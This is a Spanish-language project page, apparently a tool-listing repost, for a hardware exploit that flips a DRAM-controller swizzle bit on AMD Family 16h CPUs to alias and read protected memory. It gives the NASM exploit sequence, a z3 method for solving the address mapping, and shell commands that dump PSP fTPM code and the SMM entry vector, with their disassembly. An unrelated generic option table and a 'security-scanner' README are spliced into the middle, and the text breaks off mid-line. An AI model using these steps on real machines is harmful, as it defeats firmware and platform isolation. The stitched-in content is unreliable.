Volver a actualizaciones
ActualizadaAug 31, 2026

skitter-creek-bath-salts — Actualizado!

Desbloqueando _todo_ en la CPU con DRAM scrambling

Compartir

skitter-creek-bath-salts

Desbloqueando todo en la CPU con el scrambling de DRAM — PSP, C6, microcódigo, SMM, y cualquier otra cosa que las especificaciones omitieron.

&x == &x.

Normalmente.

Desenredando la DRAM

Manipula el controlador de DRAM y una dirección puede terminar donde quieras en la memoria. skitter-creek-bath-salts modifica las capas inferiores de la jerarquía de memoria para recablear las traducciones de direcciones físicas de la DRAM. Esto altera la memoria de la plataforma, exponiendo regiones protegidas de la DRAM — reservas invisibles incluso para el kernel. Cuando las traducciones de direcciones se rompen, también lo hacen las primitivas de seguridad construidas sobre ellas, y desbloqueamos todo.


TL;DR


Objetivo

Desarrollado y probado en CPUs AMD Family 16h, la última generación cuyas hojas de datos documentan los registros de traducción del controlador de DRAM — y muestran que no pueden bloquearse. 17h y posteriores simplemente omiten esta información. La odisea de *p es similar entre generaciones y arquitecturas, y las transformaciones subyacentes se extienden incluso a ARM, RISC-V y más allá; skitter-creek-bath-salts nos muestra solo cómo empezar.


La odisea de *p

Es un largo camino hacia abajo.

La memoria está construida sobre capas de abstracción tan profundas que se vuelven casi absurdas. Cuando tu código desreferencia *p, parece acceder a la DRAM en p. No lo hace — p es una dirección virtual, y antes de que se toque un solo bit de DRAM, debe sobrevivir al calvario que se describe a continuación:``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

Este proyecto trabaja en los niveles más profundos del pipeline `*p`, la capa MCT/DCT
— donde una dirección física proveniente del data fabric/interconnect entra en el controlador
de memoria y se reescribe una última vez en las coordenadas DRAM en bruto que se
emiten al DIMM.

---

## Espaguetizando la DRAM

> Las direcciones físicas son en realidad más una sugerencia.```nasm
xor dword [0xf80c2094], 0x00400000

Ese es el exploit. Todo él.

Un solo bit-flip en el controlador DRAM recablea la parte inferior del pipeline de *p, y los datos que estaban en &x ahora están en otro lugar a mitad de vuelo. De repente &x != &x. Todos los mecanismos que la CPU, el firmware, el uncore y el chipset utilizan para aislar la memoria protegida se sitúan por encima del controlador de memoria, y ninguno de ellos ve lo que ocurre por debajo. Las barreras protegen direcciones físicas, no coordenadas DRAM; reordena las coordenadas y las barreras superiores nunca se dan cuenta.

Pero recablear la DRAM es fácil. El bit de arriba es el bank-swizzle-mode en el DCT, y es solo uno de docenas que controlan los remapeos de direcciones en la capa final — todo lo que tienes que hacer es tocarlos para que todo lo construido encima se derrumbe. La parte más difícil entonces es mantener la plataforma en pie mientras la totalidad de la memoria del sistema es revuelta por debajo.

El truco: ser rápido, y no tocar la DRAM. Deshabilitar los APs, preparar las TLBs, calentar la caché, deshabilitar las interrupciones, vaciar el objetivo, serializar los accesos a memoria, y esperar que la CPU haya precargado las instrucciones próximas. Luego recablear el MCT/DCT para espaguetizar la DRAM, tomar algunos datos de la región protegida, revertir las asignaciones, serializar de nuevo, habilitar las interrupciones, reanudar los APs, y la plataforma vuelve a la normalidad.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

Con una configuración cuidadosa de paginación, estados de caché, hilos y las TLB, el
scrambling de direcciones puede hacerse funcionar desde C, para ilustrar el colapso del pipeline `*p`,
y la vista corrupta de la plataforma cuando de repente `&x != &x`:

![&x manipulation](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

Así que podemos recablear el mapa y restaurarlo sin dejar rastro. Todo lo que queda es
saber en qué lo recableamos.

---

## Desbloqueando *todo*

> Cada región de memoria protegida en la plataforma, accesible con una calculadora.

Con el enfoque anterior, podemos reprogramar la transformación MCT/DCT en un sistema
en ejecución — reordenando la etapa más baja del pipeline `*p` para hacer scrambling de la memoria
por debajo de cada protección construida sobre ella.

Pero hay un desafío: aunque podemos reprogramar la traducción con un simple
`xor dword [0xf80c2094], 0x00400000`, no tenemos idea de qué nuevas transformaciones
usará el MCT/DCT (las hojas de datos están subespecificadas aquí — los mapas xor están desactivados,
la etapa sustractiva de MMIO no está ordenada, y los detalles varían entre modelos).
Sin esto, la memoria se hace scrambling, pero no tenemos forma de reconstruirla.

Afortunadamente, la transformación de direcciones del controlador DRAM es un mapa lineal GF(2),
lo que significa que podemos reconstruir la memoria scrambled con álgebra lineal básica.

Primero, consideremos el caso normal: la transformación directa de la configuración
predeterminada de MCT/DCT se aplica a alguna dirección física, que aterriza en una dirección
secreta en DRAM:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret

Esta es la vista coherente de la memoria: la etapa más baja del pipeline *p opera exactamente como debería.

Ahora recablea la etapa MCT/DCT de *p con xor dword [0xf80c2094], 0x00400000, y la plataforma entra en una vista de memoria codificada/espaguetizada donde una transformación diferente permite que un alias alcance el mismo secreto de DRAM:``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

Este alias nos permite alcanzar el mismo secreto sin toparnos con los bloqueos y defensas de plataforma existentes, construidos para la vista coherente. Para encontrar el alias, compón el inverso del hash atacante/espaguetificado con el directo del hash de firmware/coherente, para obtener la traducción que alcanzará cualquier secreto desde la configuración maliciosa MCT/DCT:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias

El único desafío es que las matrices son desconocidas, lo que significa que no tenemos idea de cómo está realmente codificada la memoria, y no hay transformación que usar para llegar al secreto en primer lugar:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

Afortunadamente, en este punto solo es álgebra lineal, y podrías resolver las
transformaciones a mano si quieres. O: con una calculadora.

Usamos [z3](https://github.com/z3prover/z3). Primero, el solucionador SMT necesita
restricciones con las que trabajar.

Comienza en la vista coherente, modifica el MCT/DCT para cambiar a la vista espaguetizada,
introduce algún valor centinela como `0xdeadc0de` en una dirección aleatoria de la memoria,
vuelve a la vista coherente y recorre la memoria buscando dónde reaparece el centinela.
Esto da un par (objetivo, alias) — un punto de datos concreto que muestra dos
direcciones físicas que se asignan a la misma celda en DRAM. Repite el proceso,
reúne un puñado de datos, pásalos a z3, y este resuelve la matriz de transformación
necesaria para convertir entre las dos vistas — cualquier dirección física de la vista coherente en
un lado, su alias en la vista espaguetizada en el otro:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias

Alimentar pares de alias a z3 uno a la vez nos permite observar al solucionador SMT descifrar el scrambling de memoria en tiempo real, como se muestra en la imagen de apertura.

La transformación resuelta es una piedra rosetta: cualquier dirección objetivo en la vista coherente se mapea a un alias que alcanza la misma DRAM en la vista espaguetificada. Para alcanzar cualquier memoria protegida, toma una dirección que normalmente no podemos tocar — memoria privada del PSP, SMRAM, el estado de reposo C6 — y pásala por la transformación para obtener su alias. Luego recablea el DCT con xor dword [0xf80c2094], 0x00400000, lee o escribe el alias, y vuelve a cambiar con un segundo xor. La ruta del alias a través del pipeline *p nunca encuentra una valla que la plataforma construyó para la vista coherente — acceso sin restricciones a cualquier cosa en la DRAM.

desbloqueando la DRAM

Al final, todo lo que estaba tan cuidadosamente amurallado — memoria privada del PSP, SMRAM, el estado de reposo C6, inaccesible desde el SO, ring-0, a veces la propia CPU — sigue estando en los mismos capacitores de DRAM. Pero las cerraduras fueron construidas alrededor de la vista coherente de la memoria, y no hacen nada contra un alias espaguetificado que alcanza la misma celda.

Voltea un bit en el nivel final del pipeline *p, y hemos desbloqueado todo.


Inicio rápido: desbloquea tu Platform Security Processor

Manipula tu PSP, mira qué sucede.

El fTPM se ejecuta en el propio núcleo ARM del PSP, en un carveout de DRAM justo después del tope de memoria visible. Alcanzalo aliasando una dirección física visible para el SO sobre él, extrae los bytes, desensambla.```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

| | | |
|---|---|---|
| `-h`, `--help` | Muestra el mensaje de ayuda y sale. | |
| `-v`, `--version` | Muestra la versión del programa y sale. | |
| `-d`, `--debug` | Habilita el registro de depuración. | |
| `-c`, `--config` | Ruta al archivo de configuración. | |
| `-o`, `--output` | Ruta del archivo de salida. | |
| `-f`, `--format` | Formato de salida (json, yaml, xml). | |
| `-q`, `--quiet` | Modo silencioso, suprime la salida. | |
| `-V`, `--verbose` | Modo detallado, aumenta la salida. | |
| `-n`, `--no-color` | Deshabilita la salida en color. | |
| `-l`, `--log-level` | Establece el nivel de registro (debug, info, warn, error). | |
| `-t`, `--timeout` | Establece el tiempo de espera en segundos. | |
| `-r`, `--retry` | Número de reintentos en caso de fallo. | |
| `-s`, `--silent` | Modo silencioso, suprime toda la salida. | |
| `-p`, `--proxy` | URL del proxy a utilizar. | |
| `-u`, `--user-agent` | Cadena del User-Agent a utilizar. | |
| `-k`, `--insecure` | Deshabilita la verificación del certificado SSL. | |
| `-A`, `--auth` | Credenciales de autenticación. | |
| `-H`, `--header` | Encabezado personalizado a incluir en las solicitudes. | |
| `-X`, `--method` | Método HTTP a utilizar. | |
| `-D`, `--data` | Datos a enviar en el cuerpo de la solicitud. | |
| `-F`, `--file` | Archivo a subir. | |
| `-T`, `--threads` | Número de hilos a utilizar. | |
| `-w`, `--wordlist` | Ruta a la lista de palabras. | |
| `-e`, `--extension` | Extensiones de archivo a buscar. | |
| `-x`, `--exclude` | Patrones a excluir. | |
| `-i`, `--include` | Patrones a incluir. | |
| `-m`, `--match` | Patrones a coincidir. | |
| `-R`, `--recursive` | Habilita el escaneo recursivo. | |
| `-L`, `--level` | Profundidad de recursión. | |
| `-P`, `--port` | Número(s) de puerto a escanear. | |
| `-S`, `--script` | Script(s) a ejecutar. | |
| `-a`, `--all` | Escanear todos los objetivos. | |
| `-b`, `--brute` | Habilita el modo de fuerza bruta. | |
| `-g`, `--grep` | Patrón de búsqueda. | |
| `-I`, `--input` | Archivo de entrada. | |
| `-O`, `--output-file` | Archivo de salida. | |
| `-Q`, `--query` | Consulta a ejecutar. | |
| `-U`, `--url` | URL a escanear. | |
| `-W`, `--web` | Habilita el modo web. | |
| `-Y`, `--yaml` | Archivo YAML a utilizar. | |
| `-Z`, `--zip` | Archivo ZIP a utilizar. | |```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4:  b5f0       push  {r4, r5, r6, r7, lr}
7f8019d6:  b0e5       sub   sp, #404
7f8019de:  2280       movs  r2, #128                  ; 1024-bit operand
7f8019e4:  f7fe ffef  bl    0x7f8009c6                ; import base (aA)
7f8019ee:  a0eb       adr   r0, 0x7f801d9c            ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8:  f7fe ffe5  bl    0x7f8009c6                ; import exponent (aB)
7f801a02:  a0f0       adr   r0, 0x7f801dc4            ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18:  f000 fdd4  bl    0x7f8025c4                ; the modexp itself
7f801a20:  a0f2       adr   r0, 0x7f801dec            ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22:  f000 fef5  bl    0x7f802810                ; log error
7f801a2e:  f001 e92a  blx   0x7f802c84                ; export result
7f801a36:  bdf0       pop   {r4, r5, r6, r7, pc}

Ese es el motor RSA del PSP — el modexp detrás de cada firma fTPM, y detrás de las pruebas de Miller-Rabin que acuñan sus claves — extraído de la memoria que el PSP se supone que posee en exclusiva, aislado en el controlador de memoria, opaco incluso para ring-0. Modifícalo como consideres oportuno.


Inicio rápido: desbloquear el System Management Mode

Lee lo que SMM oculta.

El vector de entrada del manejador SMI se encuentra en SMBASE + 0x8000. SMBASE está en el MSR 0xc0010111. Léelo, extrae los bytes a través del mapa de alias y canalízalos directamente a un desensamblador:```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

sudo modprobe msr

SMBASE is per-core; core 0's lives in MSR 0xc0010111.

SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

Dump the entry vector through the alias map and disassemble on the fly.

SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;

printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.

sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

## 🧩 Características clave

- **Análisis de código estático** para detectar patrones de vulnerabilidad comunes.
- **Escaneo de dependencias** para identificar bibliotecas desactualizadas o vulnerables.
- **Detección de secretos** para encontrar claves API y credenciales codificadas de forma rígida.
- **Integración con CI/CD** para escaneos automatizados en cada confirmación.
- **Salida en múltiples formatos**: JSON, SARIF, texto sin formato y HTML.

## 🚀 Instalación

```bash
git clone https://github.com/example/security-scanner.git
cd security-scanner
pip install -r requirements.txt

🛠️ Uso

Ejecute el escáner contra un directorio de proyecto:

python scanner.py --path /ruta/al/proyecto --format json

Opciones

OpciónDescripción
--pathRuta al directorio del proyecto a escanear
--formatFormato de salida (json, sarif, text, html)
--severityNivel de severidad mínimo a reportar
--excludePatrones de archivos o directorios a excluir

📊 Ejemplo de salida

{
  "vulnerabilities": [
    {
      "id": "CVE-2023-12345",
      "severity": "high",
      "file": "src/utils.py",
      "line": 42,
      "description": "Deserialización insegura de datos proporcionados por el usuario"
    }
  ]
}

🤝 Contribuciones

¡Agradecemos las contribuciones! Por favor, consulte CONTRIBUTING.md para obtener más detalles.

📄 Licencia

Este proyecto está licenciado bajo la Licencia MIT. Consulte el archivo LICENSE para obtener más información.```nasm ; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the 